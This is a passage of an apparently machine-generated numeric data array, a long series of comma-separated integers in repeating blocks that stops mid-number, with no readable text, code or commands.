6,42516,32629,20505,21066,18953,21068,19019,19060,21591,40105,18293,18315,42516,42516,18360,42516,49435,42820,18380,18411,18395,18574,19226,18433,20169,18459,25598,18486,18508,51199,18465,25604,18492,18514,20728,18530,42516,30418,42516,42516,42516,50250,25964,50770,42516,18553,39446,18564,20175,20411,20131,20505,23879,18590,26008,18612,18632,18596,18470,18594,26012,18616,18636,20798,20741,20757,42516,18652,18689,18711,18748,18695,18788,42516,41546,48871,18807,18835,19802,18823,19840,25206,18851,18904,18942,18979,19680,19006,18851,18904,18942,18979,19680,19045,20750,46697,19097,19132,20936,31767,19148,19174,19196,20141,20921,19788,19212,19242,19278,25525,20579,19301,19596,19271,25518,20572,19294,19589,19324,19353,35639,19379,39467,19401,41728,19421,19500,24458,19544,19575,19614,19632,19650,19559,19612,19630,19648,19666,19029,19696,19712,19728,19753,19773,19830,19435,19449,19888,19905,19856,19887,19904,19921,19947,19984,20043,20080,20119,20157,20536,20191,20213,20542,20197,20219,19931,20235,20264,20301,20317,20346,20333,20349,20365,20381,20397,20422,20606,20438,20477,20503,21067,21068,20521,20558,20595,20622,20652,23888,18878,20683,20699,20715,20779,20814,20880,20890,20906,19463,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,23074,23089,21619,21619,21619,21672,21614,21619,21624,23096,21640,21745,21688,21665,21655,21732,21703,21716,21040,42516,42516,42516,33326,42516,42516,51474,42516,42516,42516,42516,42516,42516,42516,32629,20505,21066,18953,21068,19019,18919,18270,40105,18293,21761,42516,42516,18360,42516,49435,42820,18380,18411,18395,18574,19226,18433,20169,18459,25598,18486,18508,51199,18465,25604,18492,18514,20728,18530,42516,30418,42516,42516,42516,50250,25964,50770,42516,18553,39446,18564,20175,20411,20131,20505,23879,18590,26008,18612,18632,18596,18470,18594,26012,18616,18636,20798,20741,20757,42516,18652,18689,18711,18748,18695,18788,42516,41546,48871,18807,18835,19802,18823,19840,25206,18851,18904,18942,18979,19680,19006,18851,18904,18942,18979,19680,19045,20750,46697,19097,19132,20936,31767,19148,19174,19196,20141,20921,19788,19212,19242,19278,25525,20579,19301,19596,19271,25518,20572,19294,19589,19324,19353,35639,19379,39467,19401,41728,19421,19500,24458,19544,19575,19614,19632,19650,19559,19612,19630,19648,19666,19029,19696,19712,19728,19753,19773,19830,19435,19449,19888,19905,19856,19887,19904,19921,19947,19984,20043,20080,20119,20157,20536,20191,20213,20542,20197,20219,19931,20235,20264,20301,20317,20346,20333,20349,20365,20381,20397,20422,20606,20438,20477,20503,21067,21068,20521,20558,20595,20622,20652,23888,18878,20683,20699,20715,20779,20814,20880,20890,20906,19463,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,21141,45317,42516,42516,42516,49458,21798,42516,22640,21804,25917,45316,42516,21821,21844,21828,21860,21869,21885,42516,42516,42516,29550,42516,42516,51474,42516,42516,42516,42516,42516,42516,42516,32629,20505,21066,18953,21068,19019,18919,18270,40105,18293,21901,42516,42516,18360,42516,49435,42820,18380,18411,18395,18574,19226,18433,20169,18459,25598,18486,18508,51199,18465,25604,18492,18514,20728,18530,42516,30418,42516,42516,42516,50250,25964,50770,42516,18553,39446,18564,20175,20411,20131,20505,23879,18590,26008,18612,18632,18596,18470,18594,26012,18616,18636,20798,20741,20757,42516,18652,18689,18711,18748,18695,18788,42516,41546,48871,18807,18835,19802,18823,19840,25206,18851,18904,18942,18979,19680,19006,18851,18904,18942,18979,19680,19045,20750,46697,19097,19132,20936,31767,19148,19174,19196,20141,20921,19788,19212,19242,19278,25525,20579,19301,19596,19271,25518,20572,19294,19589,19324,19353,35639,19379,39467,19401,41728,19421,19500,24458,19544,19575,19614,19632,19650,19559,19612,19630,19648,19666,19029,19696,19712,19728,19753,19773,19830,19435,19449,19888,19905,19856,19887,19904,19921,19947,19984,20043,20080,20119,20157,20536,20191,20213,20542,20197,20219,19931,20235,20264,20301,20317,20346,20333,20349,20365,20381,20397,20422,20606,20438,20477,20503,21067,21068,20521,20558,20595,20622,20652,23888,18878,20683,20699,20715,20779,20814,20880,20890,20906,19463,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,21141,21944,42516,42516,42516,48069,42516,42516,42516,26308,36543,25445,25454,21937,25455,21960,21985,21998,21040,42516,42516,42516,27632,42516,42516,51474,42516,42516,42516,42516,42516,42516,42516,32629,20505,21066,18953,21068,19019,18919,18270,40105,18293,18315,42516,42516,18360,42516,49435,42820,18380,18411,18395,18574,19226,18433,20169,18459,25598,18486,18508,18888,18465,25604,18492,18514,20728,18530,42516,30418,42516,42516,42516,50250,25964,50770,42516,18553,39446,18564,20175,20411,20131,20505,23879,18590,26008,18612,18632,18596,18470,18594,26012,18616,18636,20798,20741,20757,42516,18652,18689,18711,18748,18695,18788,42516,41546,48871,18807,18835,19802,18823,19840,25206,18851,18904,18942,18979,19680,19006,18851,18904,18942,18979,19680,19045,20750,46697,19097,19132,20936,31767,19148,19174,19196,20141,20921,19788,19212,19242,19278,25525,20579,19301,19596,19271,25518,20572,19294,19589,19324,19353,35639,19379,39467,19401,41728,19421,19500,24458,19544,19575,19614,19632,19650,19559,19612,19630,19648,19666,19029,19696,19712,19728,19753,19773,19830,19435,19449,19888,19905,19856,19887,19904,19921,19947,19984,20043,20080,20119,20157,20536,20191,20213,20542,20197,20219,19931,20235,20264,20301,20317,20346,20333,20349,20365,20381,20397,20422,20606,20438,20477,20503,21067,21068,20521,20558,20595,20622,20652,23888,18878,20683,20699,20715,20779,20814,20880,20890,20906,19463,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,21141,42516,42516,42516,42516,48069,42516,42516,42516,26329,37275,42655,22014,22031,22014,22046,42653,22015,21040,42516,42516,42516,27632,42516,42516,51474,42516,42516,42516,42516,42516,42516,42516,32629,20505,21066,18953,21068,19019,18919,18270,40105,18293,18315,42516,42516,22071,42516,49435,42820,18380,18411,18395,18574,19226,18433,20169,18459,25598,18486,18508,51199,18465,25604,18492,18514,20728,18530,42516,30418,42516,42516,42516,50250,25964,50770,42516,18553,39446,18564,20175,20411,20131,20505,23879,18590,26008,18612,18632,18596,18470,18594,26012,18616,18636,20798,20741,20757,42516,18652,18689,18711,18748,18695,18788,42516,41546,48871,18807,18835,19802,18823,19840,25206,18851,18904,18942,18979,19680,19006,18851,18904,18942,18979,19680,19045,20750,46697,19097,19132,20936,31767,19148,19174,19196,20141,20921,19788,19212,19242,19278,25525,20579,19301,19596,19271,25518,20572,19294,19589,19324,19353,35639,19379,39467,19401,41728,19421,19500,24458,19544,19575,19614,19632,19650,19559,19612,19630,19648,19666,19029,19696,19712,19728,19753,19773,19830,19435,19449,19888,19905,19856,19887,19904,19921,19947,19984,20043,20080,20119,20157,20536,20191,20213,20542,20197,20219,19931,20235,20264,20301,20317,20346,20333,20349,20365,20381,20397,20422,20606,20438,20477,20503,21067,21068,20521,20558,20595,20622,20652,23888,18878,20683,20699,20715,20779,20814,20880,20890,20906,19463,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,21141,26891,42516,42516,42516,48069,22092,42516,23653,22130,40293,22116,22186,22191,22191,22207,26888,44587,21040,42516,42516,42516,27632,42516,42516,51474,42516,42516,42516,42516,42516,42516,42516,32629,20505,21066,18953,21068,19019,18919,18270,40105,18293,18315,42516,42516,18360,42516,49435,42820,18380,18411,18395,18574,19226,18433,20169,18459,25598,18486,18508,51199,18465,25604,18492,18514,20728,18530,42516,30418,42516,42516,42516,50250,25964,50770,42516,18553,39446,18564,20175,20411,20131,20505,23879,18590,26008,18612,18632,18596,18470,18594,26012,18616,18636,20798,20741,20757,42516,18652,18689,18711,18748,18695,18788,42516,41546,48871,18807,18835,19802,18823,19840,25206,18851,18904,18942,18979,19680,19006,18851,18904,18942,18979,19680,19045,20750,46697,19097,19132,20936,31767,19148,19174,19196,20141,20921,19788,19212,19242,19278,25525,20579,19301,19596,19271,25518,20572,19294,19589,19324,19353,35639,19379,39467,19401,41728,19421,19500,24458,19544,19575,19614,19632,19650,19559,19612,19630,19648,19666,19029,19696,19712,19728,19753,19773,19830,19435,19449,19888,19905,19856,19887,19904,19921,19947,19984,20043,20080,20119,20157,20536,20191,20213,20542,20197,20219,19931,20235,20264,20301,20317,20346,20333,20349,20365,20381,20397,20422,20606,20438,20477,20503,21067,21068,20521,20558,20595,20622,20652,23888,18878,20683,20699,20715,20779,20814,20880,20890,20906,19463,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,18247,42516,42516,42516,42516,48069,42516,42516,42516,42516,25917,35843,22232,22249,22232,22264,35841,22233,22289,42516,42516,42516,27632,42516,42516,51474,42516,42516,42516,42516,42516,42516,42516,28241,22657,46314,35273,38147,34810,46363,42516,33841,42516,34304,43899,22305,22071,36154,42516,42516,42516,42516,28243,22657,22322,22657,22657,22341,33347,46316,46316,39789,38147,35514,38147,38147,22359,22382,42516,42516,42516,42516,42516,28815,42516,22405,22426,42516,42516,38368,22657,22657,22657,22657,38374,22541,46316,46316,46316,46316,44805,38147,38147,38147,38147,38147,32923,22444,47355,26569,42516,42516,42516,42516,42516,45225,42516,42516,32981,50880,22657,22657,22657,30360,22467,39622,46316,22501,46316,22343,36422,42625,38147,22520,38147,27826,41766,42516,42516,42516,42516,42516,49148,42516,23255,22657,44467,22657,22657,30361,22539,42077,46316,46316,46316,30525,38147,40186,38147,38147,34440,41769,42516,42516,20027,37487,42516,28242,22657,22657,36250,37745,46316,46316,44329,37798,38147,38147,43834,27827,30836,42516,42516,19405,22558,38368,22576,22657,40730,22597,46316,36583,22617,38147,40469,22638,42516,25905,42516,34153,22656,33064,46073,46316,22674,22710,27827,22690,51145,42516,32408,22729,37572,22752,32120,22683,29050,30609,22771,38961,22813,36803,22874,22893,22911,28238,43147,27775,22913,22451,22736,46400,22448,28385,36584,34366,22755,31692,28429,22929,23e3,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,21141,42516,42516,42516,42516,48069,42516,42516,42516,50215,25917,42516,42516,42516,42516,42516,45715,23059,23112,42516,42516,42516,27632,42516,42516,37325,42516,42516,42516,42516,42516,42516,42516,28241,22657,46314,35273,38147,23128,46363,42516,42516,42516,34304,42516,42516,18360,42516,42516,42516,42516,42516,28243,22657,22657,22657,22657,22341,46316,46316,46316,39789,38147,38147,38147,38147,40896,22382,42516,42516,42516,42516,42516,28815,42516,42516,42516,42516,42516,38368,22657,22657,22657,22657,38374,22541,46316,46316,46316,46316,44805,38147,38147,38147,38147,38147,32923,22444,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,38370,22657,22657,22657,22657,30360,22540,46316,46316,46316,46316,22343,30533,38147,38147,38147,38147,27826,41766,42516,42516,42516,42516,42516,42516,42516,23255,22657,22657,22657,22657,30361,22539,46316,46316,46316,46316,30525,38147,38147,38147,38147,34440,41769,42516,42516,42516,42516,42516,28242,22657,22657,22657,37745,46316,46316,46316,37798,38147,38147,38147,27827,22690,42516,42516,42516,42516,38368,22657,22657,40730,46316,46316,36583,38147,38147,40469,42516,42516,42516,42516,38373,22657,28384,46316,46316,36586,38147,27827,22690,34920,42516,38372,43148,46316,28405,38147,22683,36804,38368,28385,28404,30535,36803,38372,46315,38146,28238,43147,27775,22913,28244,40729,36585,22448,28385,36584,34366,22755,31692,28429,22929,23e3,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,21141,23154,42516,42516,42516,46371,42516,42516,42516,42516,25917,35960,23175,23206,23195,23229,35959,23179,21040,42516,42516,42516,27632,42516,42516,51474,27227,42516,43023,42516,42516,42516,42516,32629,20505,21066,18953,21068,19019,18919,18270,40105,18293,18315,42516,42516,18360,42516,49435,42820,18380,18411,18395,18574,19226,18433,20169,18459,25598,18486,18508,51199,18465,25604,18492,18514,20728,18530,42516,30418,42516,42516,42516,50250,25964,50770,42516,18553,39446,18564,20175,20411,20131,20505,23879,18590,26008,18612,18632,18596,18470,18594,26012,18616,18636,20798,20741,20757,42516,18652,18689,18711,18748,18695,18788,42516,41546,48871,18807,18835,19802,18823,19840,25206,18851,18904,18942,18979,19680,19006,18851,18904,18942,18979,19680,19045,20750,46697,19097,19132,20936,31767,19148,19174,19196,20141,20921,19788,19212,19242,19278,25525,20579,19301,19596,19271,25518,20572,19294,19589,19324,19353,35639,19379,39467,19401,41728,19421,19500,24458,19544,19575,19614,19632,19650,19559,19612,19630,19648,19666,19029,19696,19712,19728,19753,19773,19830,19435,19449,19888,19905,19856,19887,19904,19921,19947,19984,20043,20080,20119,20157,20536,20191,20213,20542,20197,20219,19931,20235,20264,20301,20317,20346,20333,20349,20365,20381,20397,20422,20606,20438,20477,20503,21067,21068,20521,20558,20595,20622,20652,23888,18878,20683,20699,20715,20779,20814,20880,20890,20906,19463,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,21141,23254,42516,42516,42516,48069,42516,42516,42516,19968,25917,42516,42516,42516,42516,42516,42762,23271,23302,42516,42516,42516,27632,42516,42516,21380,42516,42516,42516,42516,42516,42516,42516,28241,22657,46314,35273,38147,23318,46363,42516,42516,42516,34304,42516,42516,23344,42516,42516,42516,42516,42516,28243,22657,22657,22657,22657,22341,46316,46316,46316,39789,38147,38147,38147,38147,40896,23370,23409,42516,42516,42516,42516,38331,23429,42516,42516,42516,42516,38368,22657,22657,22657,22657,38374,22541,46316,46316,46316,46316,44805,38147,38147,38147,38147,38147,32923,23450,23383,42516,42516,42516,42516,42516,23487,42516,42516,42516,38370,22657,22657,22657,22657,50700,22540,46316,46316,46316,46316,47852,30533,38147,38147,38147,38147,27826,35762,23510,42516,42516,42516,42516,42516,42516,23255,22657,22657,22657,22657,29796,22539,46316,46316,46316,46316,23533,38147,38147,38147,38147,34440,41769,42516,42516,42516,42516,42516,28242,22657,22657,22657,46191,46316,46316,46316,32038,38147,38147,38147,27827,22690,42516,42516,42516,42516,38368,22657,22657,40730,46316,46316,36583,38147,38147,40469,42516,42516,42516,42516,38373,22657,28384,46316,46316,36586,38147,27827,22690,34920,42516,38372,43148,46316,28405,38147,22683,36804,38368,28385,28404,30535,36803,38372,46315,38146,28238,43147,27775,22913,28244,40729,36585,22448,28385,36584,34366,22755,31692,28429,22929,23e3,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,21141,48371,42516,42516,42516,31492,32078,42516,42516,23557,25917,18721,49121,23587,23594,23610,42516,43878,23635,23651,42516,42516,33439,23669,42516,51474,42516,42516,42516,42516,42516,42516,42516,32629,20505,25038,24355,23991,25028,23804,18270,40105,18293,23688,42516,42516,18360,42516,49435,42820,18380,18411,18395,18574,19226,18433,20169,23724,24084,23749,23789,24317,23827,23849,23904,24015,23917,23946,42516,30418,42516,42516,42516,50250,25964,50770,42516,18553,39446,18564,20175,20411,20131,20505,23879,23969,24689,24310,25086,25092,23974,23990,24416,24845,24007,23833,24977,24993,42516,18652,18689,18711,18748,18695,18788,42516,41546,48871,18807,18835,19802,18823,19840,25206,24031,23930,24046,24073,24057,24100,24137,24664,24240,24198,24251,24225,24986,46697,19097,19132,20936,31767,19148,19174,19196,20141,20921,19788,19212,19242,24267,24283,24299,24348,24333,24371,24167,24428,24402,23773,24444,24474,35639,19379,39467,19401,41728,19421,19500,24458,19544,24500,24558,24572,24588,24604,24182,24745,24620,24636,24767,19696,19712,19728,19753,19773,19830,19435,19514,24680,24514,19528,24705,24152,24757,19947,19984,20043,20080,20119,20157,20667,24542,24528,24731,24830,24209,24939,20235,20264,20301,24783,24799,24815,24715,24861,20381,20397,19814,23733,24877,24893,20503,25039,24968,23864,24927,24955,25015,20652,18443,23763,24386,25055,24651,25071,25108,25159,25175,25191,25243,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,21141,27003,42516,42516,42516,48069,25296,42516,42516,25291,40518,25312,25320,25320,25320,25327,27168,25343,21040,42516,42516,42516,27632,42516,42516,51474,42516,42516,42516,42516,42516,42516,42516,32629,20505,21066,18953,21068,19019,18919,18270,40105,18293,18315,42516,42516,18360,42516,49435,42820,18380,18411,18395,18574,19226,18433,20169,18459,25598,18486,18508,51199,18465,25604,18492,18514,20728,18530,42516,30418,42516,42516,42516,50250,25399,50770,42516,18553,39446,18564,20175,20411,20131,20505,23879,18590,26008,18612,18632,18596,18470,18594,26012,18616,18636,20798,20741,18963,25373,18652,18689,18711,18748,18695,25415,42516,41546,48871,18807,18835,19802,18823,19840,25206,18851,18904,18942,18979,19680,19006,18851,18904,18942,18979,19680,19045,19337,25436,19097,19132,20936,31767,19148,19174,19196,20141,20921,19788,19212,25471,25509,25525,20579,19301,19596,25541,25518,20572,19294,19589,19324,19353,35639,19379,39467,19401,41728,19421,19500,24458,19544,25584,19614,19632,19650,25620,19612,19630,19648,19666,19029,19696,19712,19728,19753,19773,19830,19435,19449,19888,19905,19856,19887,19904,19921,19947,19984,20043,20080,20119,20157,20536,20191,20213,20542,20197,20219,19931,20235,20264,20301,20317,20346,20333,20349,20365,20381,20397,20422,20606,20438,20477,20503,21067,21068,20521,20558,20595,20622,20652,23888,18878,20683,20699,20715,20779,20814,20880,20890,20906,19463,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,21141,42516,42516,42516,42516,48069,42516,42516,42516,42516,21541,28730,28739,28739,28739,28746,47533,25636,21040,42516,42516,42516,27632,42516,42516,51474,42516,42516,27653,42516,42516,42516,42516,32629,20505,21066,18953,21068,19019,25687,18270,40105,18293,18315,42516,42516,18360,42516,49435,42820,18380,18411,18395,18574,19226,18433,20169,18459,25598,18486,18508,51199,18465,25604,18492,18514,20728,18530,42516,30418,42516,42516,42516,50250,25964,50770,42516,18553,39446,18564,20175,20411,20131,20505,23879,18590,26008,18612,18632,18596,18470,18594,26012,18616,18636,20798,20741,20757,42516,18652,18689,18711,18748,18695,18788,42516,41546,48871,18807,18835,19802,18823,19840,25206,18851,18904,18942,18979,19680,19006,18851,18904,18942,18979,19680,19045,20750,46697,19097,19132,20936,31767,19148,19174,19196,20141,20921,19788,19212,19242,19278,25525,20579,19301,19596,19271,25518,20572,19294,19589,19324,19353,35639,19379,39467,19401,41728,19421,19500,24458,19544,19575,19614,19632,19650,19559,19612,19630,19648,19666,19029,19696,19712,19728,19753,19773,19830,19435,19449,19888,19905,19856,19887,19904,19921,19947,19984,20043,20080,20119,20157,20536,20191,20213,20542,20197,20219,19931,20235,20264,20301,20317,20346,20333,20349,20365,20381,20397,20422,20606,20438,20477,20503,21067,21068,20521,20558,20595,20622,20652,23888,18878,20683,20699,20715,20779,20814,20880,20890,20906,19463,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,51268,23158,42516,42516,42516,48069,42516,42516,42516,42516,25917,22795,25710,25710,25710,25717,23159,22797,21040,25733,42516,42516,27632,42516,42516,51474,42516,42516,44769,42516,42516,42516,42516,32629,20505,21066,18953,21068,19019,25752,18270,40105,18293,18315,42516,42516,18360,42516,49435,42820,18380,18411,18395,18574,19226,18433,20169,18459,25598,18486,18508,51199,18465,25604,18492,18514,20728,18530,42516,30418,42516,42516,42516,50250,25964,50770,42516,18553,39446,18564,20175,20411,20131,20505,23879,18590,26008,18612,18632,18596,18470,18594,26012,18616,18636,20798,20741,20757,42516,18652,18689,18711,18748,18695,18788,42516,41546,48871,18807,18835,19802,18823,19840,25206,18851,18904,18942,18979,19680,19006,18851,18904,18942,18979,19680,19045,20750,46697,19097,19132,20936,31767,19148,19174,19196,20141,20921,19788,19212,19242,19278,25525,20579,19301,19596,19271,25518,20572,19294,19589,19324,19353,35639,19379,39467,19401,41728,19421,19500,24458,19544,19575,19614,19632,19650,19559,19612,19630,19648,19666,19029,19696,19712,19728,19753,19773,19830,19435,19449,19888,19905,19856,19887,19904,19921,19947,19984,20043,20080,20119,20157,20536,20191,20213,20542,20197,20219,19931,20235,20264,20301,20317,20346,20333,20349,20365,20381,20397,20422,20606,20438,20477,20503,21067,21068,20521,20558,20595,20622,20652,23888,18878,20683,20699,20715,20779,20814,20880,20890,20906,19463,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,26066,26075,42516,42516,42516,42907,42516,42516,42516,42516,25917,26405,25775,25775,25775,25782,28588,26407,25798,25814,42516,42516,27632,42516,42516,51474,42516,42516,23413,42516,42516,42516,42516,32629,20505,21066,18953,21068,19019,25831,18270,40105,18293,18315,42516,42516,18360,42516,49435,42820,18380,18411,18395,18574,19226,18433,20169,18459,25598,18486,18508,51199,18465,25604,18492,18514,20728,18530,42516,30418,42516,42516,42516,50250,25964,50770,42516,18553,39446,18564,20175,20411,20131,20505,23879,18590,26008,18612,18632,18596,18470,18594,26012,18616,18636,20798,20741,20757,42516,18652,18689,18711,18748,18695,18788,42516,41546,48871,18807,18835,19802,18823,19840,25206,18851,18904,18942,18979,19680,19006,18851,18904,18942,18979,19680,19045,20750,46697,19097,19132,20936,31767,19148,19174,19196,20141,20921,19788,19212,19242,19278,25525,20579,19301,19596,19271,25518,20572,19294,19589,19324,19353,35639,19379,39467,19401,41728,19421,19500,24458,19544,19575,19614,19632,19650,19559,19612,19630,19648,19666,19029,19696,19712,19728,19753,19773,19830,19435,19449,19888,19905,19856,19887,19904,19921,19947,19984,20043,20080,20119,20157,20536,20191,20213,20542,20197,20219,19931,20235,20264,20301,20317,20346,20333,20349,20365,20381,20397,20422,20606,20438,25857,20503,21067,21068,20521,20558,20595,20622,20652,23888,18878,20683,20699,20715,20779,20814,20880,20890,20906,19463,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,25891,42516,42516,42516,42516,48069,25942,42516,42516,28970,33768,42516,42516,42516,25933,25960,26180,25944,25980,42516,42516,42516,27632,42516,42516,51474,27927,42516,42516,42516,42516,42516,42516,32629,20505,21066,18953,21068,25996,26028,18270,40105,18293,18315,42516,42516,18360,42516,49435,42820,18380,18411,18395,18574,19226,18433,20169,18459,25598,18486,18508,51199,18465,25604,18492,18514,20728,18530,42516,30418,42516,42516,42516,50250,25964,50770,42516,18553,39446,18564,20175,20411,20131,20505,23879,18590,26008,18612,18632,18596,18470,18594,26012,18616,18636,20798,20741,20757,42516,18652,18689,18711,18748,18695,18788,42516,41546,48871,18807,18835,19802,18823,19840,25206,18851,18904,18942,18979,19680,19006,18851,18904,18942,18979,19680,19045,20750,46697,19097,19132,20936,31767,19148,19174,19196,20141,20921,19788,19212,19242,19278,25525,20579,19301,19596,19271,25518,20572,19294,19589,19324,19353,35639,19379,39467,19401,41728,19421,19500,24458,19544,19575,19614,19632,19650,19559,19612,19630,19648,19666,19029,19696,19712,19728,19753,19773,19830,19435,19449,19888,19905,19856,19887,19904,19921,19947,19984,20043,20080,20119,20157,20536,20191,20213,20542,20197,20219,19931,20235,20264,20301,20317,20346,20333,20349,20365,20381,20397,20422,20606,20438,20477,20503,21067,21068,20521,20558,20595,20622,20652,23888,18878,20683,20699,20715,20779,20814,20880,20890,20906,19463,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,21141,42516,42516,42516,42516,48069,42516,42516,42516,42516,25917,42516,42516,42516,42516,42516,41865,26051,21040,42516,42516,42516,27632,42516,42516,51474,42516,42516,42516,42516,42516,42516,42516,32629,20505,21066,18953,21068,19019,18919,18270,40105,18293,18315,42516,42516,18360,42516,49435,42820,18380,18411,18395,18574,19226,18433,20169,18459,25598,18486,18508,51199,18465,25604,18492,18514,20728,18530,42516,30418,42516,42516,42516,50250,25964,50770,42516,18553,39446,18564,20175,20411,20131,20505,23879,18590,26008,18612,18632,18596,18470,18594,26012,18616,18636,20798,20741,20757,42516,18652,18689,18711,18748,18695,18788,42516,41546,48871,18807,18835,19802,18823,19840,25206,18851,18904,18942,18979,19680,19006,18851,18904,18942,18979,19680,19045,20750,46697,19097,19132,20936,31767,19148,19174,19196,20141,20921,19788,19212,19242,19278,25525,20579,19301,19596,19271,25518,20572,19294,19589,19324,19353,35639,19379,39467,19401,41728,19421,19500,24458,19544,19575,19614,19632,19650,19559,19612,19630,19648,19666,19029,19696,19712,19728,19753,19773,19830,19435,19449,19888,19905,19856,19887,19904,19921,19947,19984,20043,20080,20119,20157,20536,20191,20213,20542,20197,20219,19931,20235,20264,20301,20317,20346,20333,20349,20365,20381,20397,20422,20606,20438,20477,20503,21067,21068,20521,20558,20595,20622,20652,23888,18878,20683,20699,20715,20779,20814,20880,20890,20906,19463,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,51361,42516,42516,42516,42516,51537,42516,42516,42516,42516,25917,42516,42516,42516,42516,46741,49861,51029,26099,42516,42516,42516,27632,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,28241,22657,46314,35273,38147,34810,28721,42516,42516,42516,34304,42516,42516,42516,42516,42516,42516,42516,42516,28243,22657,22657,22657,22657,27401,46316,46316,46316,48318,38147,38147,38147,38147,40896,22382,42516,42516,42516,42516,42516,42516,23487,42516,42516,42516,42516,38368,22657,22657,22657,22657,38374,22541,46316,46316,46316,46316,44805,38147,38147,38147,38147,38147,32923,26115,26152,42516,42516,42516,42516,42516,23487,42516,42516,42516,38370,22657,22657,22657,22657,30360,22540,46316,46316,46316,46316,22343,30533,38147,38147,38147,38147,27826,35762,23510,42516,42516,42516,42516,26178,42516,23255,22657,22657,22657,22657,22877,22539,46316,46316,46316,46316,32774,38147,38147,38147,38147,34440,41769,42516,42516,42516,42516,42516,28242,22657,22657,22657,46191,46316,46316,46316,32038,38147,38147,38147,27827,22690,42516,42516,23464,42516,38368,22657,22657,40730,46316,46316,36583,38147,38147,40469,42516,42516,42516,42516,38373,22657,28384,46316,46316,36586,38147,27827,22690,34920,42516,38372,43148,46316,28405,38147,22683,36804,38368,28385,28404,30535,36803,38372,46315,38146,28238,43147,27775,22913,28244,40729,36585,22448,28385,36584,34366,22755,31692,28429,22929,23e3,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,51361,42516,42516,42516,42516,51537,42516,42516,42516,42516,25917,42516,42516,42516,42516,46741,49861,51029,26099,42516,42516,42516,27632,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,28241,22657,46314,35273,38147,34810,28721,42516,42516,42516,34304,42516,42516,42516,42516,42516,42516,42516,42516,28243,22657,22657,22657,22657,27401,46316,46316,46316,48318,38147,38147,38147,38147,40896,22382,42516,42516,42516,42516,42516,42516,23487,42516,42516,42516,42516,38368,22657,22657,22657,22657,38374,22541,46316,46316,46316,46316,44805,38147,38147,38147,38147,38147,32923,26115,26152,42516,42516,42516,42516,42516,23487,42516,42516,42516,38370,22657,22657,22657,22657,30360,22540,46316,46316,46316,46316,22343,30533,38147,38147,38147,38147,27826,35762,23510,42516,42516,42516,42516,42516,42516,23255,22657,22657,22657,22657,22877,22539,46316,46316,46316,46316,32774,38147,38147,38147,38147,34440,41769,42516,42516,42516,42516,42516,28242,22657,22657,22657,46191,46316,46316,46316,32038,38147,38147,38147,27827,22690,42516,42516,42516,42516,38368,22657,22657,40730,46316,46316,36583,38147,38147,40469,42516,42516,42516,42516,38373,22657,28384,46316,46316,36586,38147,27827,22690,34920,42516,38372,43148,46316,28405,38147,22683,36804,38368,28385,28404,30535,36803,38372,46315,38146,28238,43147,27775,22913,28244,40729,36585,22448,28385,36584,34366,22755,31692,28429,22929,23e3,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,51361,42516,42516,42516,42516,51537,42516,42516,42516,42516,25917,42516,42516,42516,42516,46741,49861,51029,26099,42516,42516,42516,27632,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,28241,22657,46314,35273,38147,34810,28721,42516,42516,42516,34304,42516,42516,42516,42516,42516,42516,42516,42516,28243,22657,22657,22657,22657,27401,46316,46316,46316,48318,38147,38147,38147,38147,40896,22382,42516,42516,42516,42516,42516,42516,23487,26196,42516,42516,42516,38368,22657,22657,22657,22657,38374,22541,46316,46316,46316,46316,44805,38147,38147,38147,38147,38147,32923,26115,26152,42516,42516,42516,42516,42516,23487,42516,42516,42516,38370,22657,22657,22657,22657,30360,22540,46316,46316,46316,46316,22343,30533,38147,38147,38147,38147,27826,35762,23510,42516,42516,42516,42516,42516,42516,23255,22657,22657,22657,22657,22877,22539,46316,46316,46316,46316,32774,38147,38147,38147,38147,34440,41769,42516,42516,42516,42516,42516,28242,22657,22657,22657,46191,46316,46316,46316,3203